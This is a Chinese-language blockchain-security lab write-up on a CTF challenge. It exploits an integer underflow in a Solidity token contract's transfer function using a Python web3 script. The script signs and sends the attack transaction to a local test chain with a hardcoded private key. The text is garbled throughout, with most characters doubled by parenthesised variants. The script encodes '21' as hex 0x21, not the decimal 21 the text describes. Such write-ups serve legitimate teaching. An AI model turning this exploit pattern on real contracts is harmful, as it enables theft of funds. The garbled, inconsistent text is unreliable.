區(qū)塊鏈安全
`
整數(shù)溢出漏洞實(shí)戰(zhàn)
實(shí)驗(yàn)?zāi)康?/h3>
學(xué)會(huì)使用python3的web3模塊
學(xué)會(huì)以太坊整數(shù)溢出漏洞分析及利用
實(shí)驗(yàn)環(huán)境
Ubuntu18.04操作機(jī)
實(shí)驗(yàn)工具
python3
實(shí)驗(yàn)原理
低版本Solidity整數(shù)是uint無符號(hào)類型,若操作存在不安全行為,可能會(huì)產(chǎn)生溢出,通過分析代碼找到漏洞點(diǎn),實(shí)現(xiàn)整數(shù)溢出利用。
題目環(huán)境是測試鏈,所以需要本地與題目進(jìn)行交互,可使用python3中的web3模塊,通過web3模塊的rpc功能與題目交互,從而編寫自動(dòng)化利用腳本。
實(shí)驗(yàn)內(nèi)容
使用python3編寫腳本測試漏洞
找到整數(shù)溢出漏洞并形成利用獲取flag
實(shí)驗(yàn)地址為nc ip 10001
攻擊過程
nc 靶標(biāo)ip 端口
打開http://ip,輸入上述分配的game account,點(diǎn)擊Request獲取eth
nc ip 10001連接到題目,輸入2,獲取部署合約的地址及new token
nc ip 10001連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
分析合約源代碼漏洞
題目要求把flag設(shè)置為true,分析合約代碼,在transfer中可以將flag設(shè)置為true,但需要滿足totalSupply - _value > 0,其中totalSupply=20,其實(shí)考點(diǎn)為Solidity智能合約整數(shù)溢出,totalSupply與value都是uint無符號(hào)整數(shù),所以只需要value為21即可產(chǎn)生整數(shù)下溢,造成溢出
需要調(diào)用transfer(0,21)即可將flag設(shè)置為true
EXP利用
利用python3的web3模塊與遠(yuǎn)程題目交互,并編寫利用代碼,將ip替換成題目的ip,contract_address替換成自己的地址
from web3 import Web3, HTTPProvider
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data += '0'*64
data += '21'.rjust(64,'0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)
運(yùn)行exp
nc ip 10001連接到題目,輸入3,輸入之前的new token,獲取flag文章來源:http://www.zghlxwxcb.cn/news/detail-768510.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-768510.html
到了這里,關(guān)于某60區(qū)塊鏈安全之整數(shù)溢出漏洞實(shí)戰(zhàn)學(xué)習(xí)記錄的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!